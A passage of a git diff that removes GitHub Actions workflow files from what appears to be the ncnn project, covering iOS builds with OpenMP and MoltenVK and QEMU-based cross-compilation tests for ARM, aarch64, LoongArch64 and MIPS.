OFF - ENABLE_ARC: OFF - ENABLE_VISIBILITY: OFF -permissions: - contents: read - -jobs: - build: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$IOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - - MOLTENVK_VERSION: 'v1.2.8' - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$IOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VULKAN=ON \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-ios-install-20240403 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: openmp-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=OS64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-simulator-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-simulator-x86_64 && cd build-simulator-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR64 -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-simulator-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-simulator-arm64 && cd build-simulator-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATORARM64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - mkdir -p $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/ios - mkdir -p $GITHUB_WORKSPACE/openmp-install/ios-simulator - - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/include $GITHUB_WORKSPACE/openmp-install/ios - mkdir -p $GITHUB_WORKSPACE/openmp-install/ios/lib - cp openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a $GITHUB_WORKSPACE/openmp-install/ios/lib/libomp.a - - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-x86_64/install/include $GITHUB_WORKSPACE/openmp-install/ios-simulator - mkdir -p $GITHUB_WORKSPACE/openmp-install/ios-simulator/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/ios-simulator/lib/libomp.a - - - name: install-openmp - run: | - sudo cp $GITHUB_WORKSPACE/openmp-install/ios/include/* $DEVELOPER_DIR/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/usr/include - sudo cp $GITHUB_WORKSPACE/openmp-install/ios/lib/libomp.a $DEVELOPER_DIR/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/usr/lib - - sudo cp $GITHUB_WORKSPACE/openmp-install/ios-simulator/include/* $DEVELOPER_DIR/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator.sdk/usr/include - sudo cp $GITHUB_WORKSPACE/openmp-install/ios-simulator/lib/libomp.a $DEVELOPER_DIR/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator.sdk/usr/lib - - - name: moltenvk - run: | - wget -q https://github.com/KhronosGroup/MoltenVK/releases/download/${{ env.MOLTENVK_VERSION }}/MoltenVK-all.tar - tar -xf MoltenVK-all.tar - - - name: arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=OS64 -DARCHS="arm64" \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/static/MoltenVK.xcframework/ios-arm64/libMoltenVK.a .. - cmake --build . -j 4 - - name: simulator-x86_64 - run: | - mkdir build-simulator-x86_64 && cd build-simulator-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR64 -DARCHS="x86_64" \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/static/MoltenVK.xcframework/ios-arm64_x86_64-simulator/libMoltenVK.a .. - cmake --build . -j 4 - - name: simulator-arm64 - run: | - mkdir build-simulator-arm64 && cd build-simulator-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATORARM64 -DARCHS="arm64" \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/static/MoltenVK.xcframework/ios-arm64_x86_64-simulator/libMoltenVK.a .. - cmake --build . -j 4 diff --git a/.github/workflows/labeler.yml b/.github/workflows/labeler.yml deleted file mode 100644 index 281597340edc..000000000000 --- a/.github/workflows/labeler.yml +++ /dev/null @@ -1,12 +0,0 @@ -name: labeler -on: [pull_request_target] - -permissions: - contents: read - pull-requests: write - -jobs: - label: - runs-on: ubuntu-latest - steps: - - uses: actions/labeler@v5 diff --git a/.github/workflows/linux-aarch64-cpu-gcc.yml b/.github/workflows/linux-aarch64-cpu-gcc.yml deleted file mode 100644 index 0c1032bf9c04..000000000000 --- a/.github/workflows/linux-aarch64-cpu-gcc.yml +++ /dev/null @@ -1,204 +0,0 @@ -name: linux-aarch64-cpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-aarch64-cpu-gcc.yml' - - 'toolchains/aarch64-linux-gnu.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-aarch64-cpu-gcc.yml' - - 'toolchains/aarch64-linux-gnu.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'tests/**' -concurrency: - group: linux-aarch64-cpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-aarch64-install-20220502-ubuntu-2004-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=aarch64-linux-user --disable-system - make -j$(nproc) - make install - - - name: aarch64-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-aarch64-linux-gnu - - - name: build - run: | - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/aarch64-linux-gnu.toolchain.cmake -DNCNN_ARM82=OFF -DNCNN_ARM82DOT=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-aarch64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/aarch64-linux-gnu" ctest --output-on-failure -j $(nproc) - - - name: build-noint8 - run: | - mkdir build-noint8 && cd build-noint8 - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/aarch64-linux-gnu.toolchain.cmake -DNCNN_ARM82=OFF -DNCNN_ARM82DOT=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-noint8 - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build-noint8 - TESTS_EXECUTABLE_LOADER=qemu-aarch64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/aarch64-linux-gnu" ctest --output-on-failure -j $(nproc) - - - name: build-simplestl-simplemath - run: | - mkdir build-simplestl-simplemath && cd build-simplestl-simplemath - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/aarch64-linux-gnu-c.toolchain.cmake -DNCNN_STDIO=ON -DNCNN_STRING=ON -DNCNN_SIMPLESTL=ON -DNCNN_SIMPLEMATH=ON -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_BENCHMARK=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: test-simplestl-simplemath - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build-simplestl-simplemath - TESTS_EXECUTABLE_LOADER=qemu-aarch64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/aarch64-linux-gnu" ctest --output-on-failure -j $(nproc) - - linux-gcc-arm82: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-aarch64-install-20220502-ubuntu-2004-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=aarch64-linux-user --disable-system - make -j$(nproc) - make install - - - name: aarch64-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-aarch64-linux-gnu - - - name: build - run: | - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/aarch64-linux-gnu.toolchain.cmake -DNCNN_ARM82=ON -DNCNN_ARM82DOT=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-aarch64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/aarch64-linux-gnu" ctest --output-on-failure -j $(nproc) - - - name: build-noint8 - run: | - mkdir build-noint8 && cd build-noint8 - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/aarch64-linux-gnu.toolchain.cmake -DNCNN_ARM82=ON -DNCNN_ARM82DOT=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON -DNCNN_INT8=OFF .. - cmake --build . -j $(nproc) - - name: test-noint8 - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build-noint8 - TESTS_EXECUTABLE_LOADER=qemu-aarch64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/aarch64-linux-gnu" ctest --output-on-failure -j $(nproc) - - linux-gcc-arm86: - runs-on: ubuntu-22.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-aarch64-install-20230717 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: ed8ad9728a9c0eec34db9dff61dfa2f1dd625637 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=aarch64-linux-user --disable-system - make -j$(nproc) - make install - - - name: aarch64-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-aarch64-linux-gnu - - - name: build - run: | - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/aarch64-linux-gnu.toolchain.cmake -DNCNN_ARM82=ON -DNCNN_ARM82DOT=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-aarch64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/aarch64-linux-gnu" ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/linux-arm-cpu-gcc.yml b/.github/workflows/linux-arm-cpu-gcc.yml deleted file mode 100644 index 19d9c1cb3707..000000000000 --- a/.github/workflows/linux-arm-cpu-gcc.yml +++ /dev/null @@ -1,206 +0,0 @@ -name: linux-arm-cpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-arm-cpu-gcc.yml' - - 'toolchains/arm-linux-gnueabi.toolchain.cmake' - - 'toolchains/arm-linux-gnueabihf.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-arm-cpu-gcc.yml' - - 'toolchains/arm-linux-gnueabi.toolchain.cmake' - - 'toolchains/arm-linux-gnueabihf.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'tests/**' -concurrency: - group: linux-arm-cpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-arm: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-arm-install-20220502-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=arm-linux-user --disable-system - make -j$(nproc) - make install - - - name: arm-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-arm-linux-gnueabi - - - name: build - run: | - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/arm-linux-gnueabi.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-arm TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/arm-linux-gnueabi" ctest --output-on-failure -j $(nproc) - - - name: build-noint8 - run: | - mkdir build-noint8 && cd build-noint8 - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/arm-linux-gnueabi.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-noint8 - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build-noint8 - TESTS_EXECUTABLE_LOADER=qemu-arm TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/arm-linux-gnueabi" ctest --output-on-failure -j $(nproc) - - linux-gcc-armhf: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-arm-install-20220502-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=arm-linux-user --disable-system - make -j$(nproc) - make install - - - name: arm-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-arm-linux-gnueabihf - - - name: build - run: | - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/arm-linux-gnueabihf.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-arm TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/arm-linux-gnueabihf" ctest --output-on-failure -j $(nproc) - - - name: build-noint8 - run: | - mkdir build-noint8 && cd build-noint8 - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/arm-linux-gnueabihf.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON -DNCNN_INT8=OFF .. - cmake --build . -j $(nproc) - - name: test-noint8 - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build-noint8 - TESTS_EXECUTABLE_LOADER=qemu-arm TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/arm-linux-gnueabihf" ctest --output-on-failure -j $(nproc) - - linux-gcc-armhf-vfpv3-d16: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-arm-install-20220502-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=arm-linux-user --disable-system - make -j$(nproc) - make install - - - name: arm-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-arm-linux-gnueabihf - - - name: build - run: | - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/arm-linux-gnueabihf-vfpv3-d16.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-arm TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/arm-linux-gnueabihf" ctest --output-on-failure -j $(nproc) - - - name: build-noint8 - run: | - mkdir build-noint8 && cd build-noint8 - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/arm-linux-gnueabihf-vfpv3-d16.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON -DNCNN_INT8=OFF .. - cmake --build . -j $(nproc) - - name: test-noint8 - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build-noint8 - TESTS_EXECUTABLE_LOADER=qemu-arm TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/arm-linux-gnueabihf" ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/linux-loongarch64-cpu-gcc.yml b/.github/workflows/linux-loongarch64-cpu-gcc.yml deleted file mode 100644 index 5a23fdc4bc1e..000000000000 --- a/.github/workflows/linux-loongarch64-cpu-gcc.yml +++ /dev/null @@ -1,77 +0,0 @@ -name: linux-loongarch64-cpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-loongarch64-cpu-gcc.yml' - - 'toolchains/loongarch64-linux-gnu.toolchain.cmake' - - 'toolchains/loongarch64-unknown-linux-gnu.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/loongarch/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-loongarch64-cpu-gcc.yml' - - 'toolchains/loongarch64-linux-gnu.toolchain.cmake' - - 'toolchains/loongarch64-unknown-linux-gnu.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/loongarch/**' - - 'tests/**' -concurrency: - group: linux-loongarch64-cpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-loongarch64: - runs-on: [self-hosted, linux, centos] - - steps: - - uses: actions/checkout@v4 - - # - name: cache-qemu - # id: cache-qemu - # uses: actions/cache@v3 - # with: - # path: qemu-install - # key: qemu-loongarch64-install-20230524 - # - name: checkout-qemu - # if: steps.cache-qemu.outputs.cache-hit != 'true' - # uses: actions/checkout@v4 - # with: - # repository: qemu/qemu - # path: qemu - # ref: 1c12355b31046a6b35a4f50c85c4f01afb1bd728 - # - name: qemu - # if: steps.cache-qemu.outputs.cache-hit != 'true' - # run: | - # cd qemu - # ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=loongarch64-linux-user --disable-system - # make -j2 - # make install - - # - name: loongarch64-toolchain - # run: | - # wget https://github.com/sunhaiyong1978/CLFS-for-LoongArch/releases/download/8.0/loongarch64-clfs-8.0-cross-tools-gcc-full.tar.xz - # tar -xf loongarch64-clfs-8.0-cross-tools-gcc-full.tar.xz - - - name: build - run: | - export LOONGARCH64_ROOT_PATH=/data/action/osd/cross-tools - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/loongarch64-unknown-linux-gnu.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j 4 - - - name: test - run: | - export PATH=/data/action/osd/qemu-loongson/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-loongarch64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/data/action/osd/cross-tools/target" ctest --output-on-failure -j 4 diff --git a/.github/workflows/linux-mips-cpu-gcc.yml b/.github/workflows/linux-mips-cpu-gcc.yml deleted file mode 100644 index f6e1e74792c5..000000000000 --- a/.github/workflows/linux-mips-cpu-gcc.yml +++ /dev/null @@ -1,126 +0,0 @@ -name: linux-mips-cpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-mips-cpu-gcc.yml' - - 'toolchains/mipsel-linux-gnu.toolchain.cmake' - - 'toolchains/mipsisa32r6el-linux-gnu.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/mips/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-mips-cpu-gcc.yml' - - 'toolchains/mipsel-linux-gnu.toolchain.cmake' - - 'toolchains/mipsisa32r6el-linux-gnu.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/mips/**' - - 'tests/**' -concurrency: - group: linux-mips-cpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-mipsel: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-mipsel-install-20220502-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=mipsel-linux-user --disable-system - make -j$(nproc) - make install - - - name: mipsel-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-mipsel-linux-gnu - - - name: configure - run: mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/mipsel-linux-gnu.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j $(nproc) - - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=qemu-mipsel TESTS_EXECUTABLE_LOADER_ARGUMENTS="-L;/usr/mipsel-linux-gnu" ctest --output-on-failure -j $(nproc) - - linux-gcc-mipsisa32r6el: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-qemu - id: cache-qemu - uses: actions/cache@v4 - with: - path: qemu-install - key: qemu-mipsel-install-20220502-2 - - name: install-qemu-build-deps - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - sudo apt-get update - sudo apt-get install autoconf automake autotools-dev ninja-build - - name: checkout-qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: qemu/qemu - path: qemu - ref: f5643914a9e8f79c606a76e6a9d7ea82a3fc3e65 - - name: qemu - if: steps.cache-qemu.outputs.cache-hit != 'true' - run: | - cd qemu - ./configure --prefix=$GITHUB_WORKSPACE/qemu-install --target-list=mipsel-linux-user --disable-system - make -j$(nproc) - make install - - - name: mipsisa32r6el-gnu-toolchain - run: | - sudo apt-get update - sudo apt-get install g++-mipsisa32r6el-linux-gnu - - - name: configure - run: mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/mipsisa32r6el-linux-gnu.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j $(nproc) - - - name: test - run: | - export PATH=$GITHUB_WORKSPACE/qemu-install/bin:$PATH - cd build - 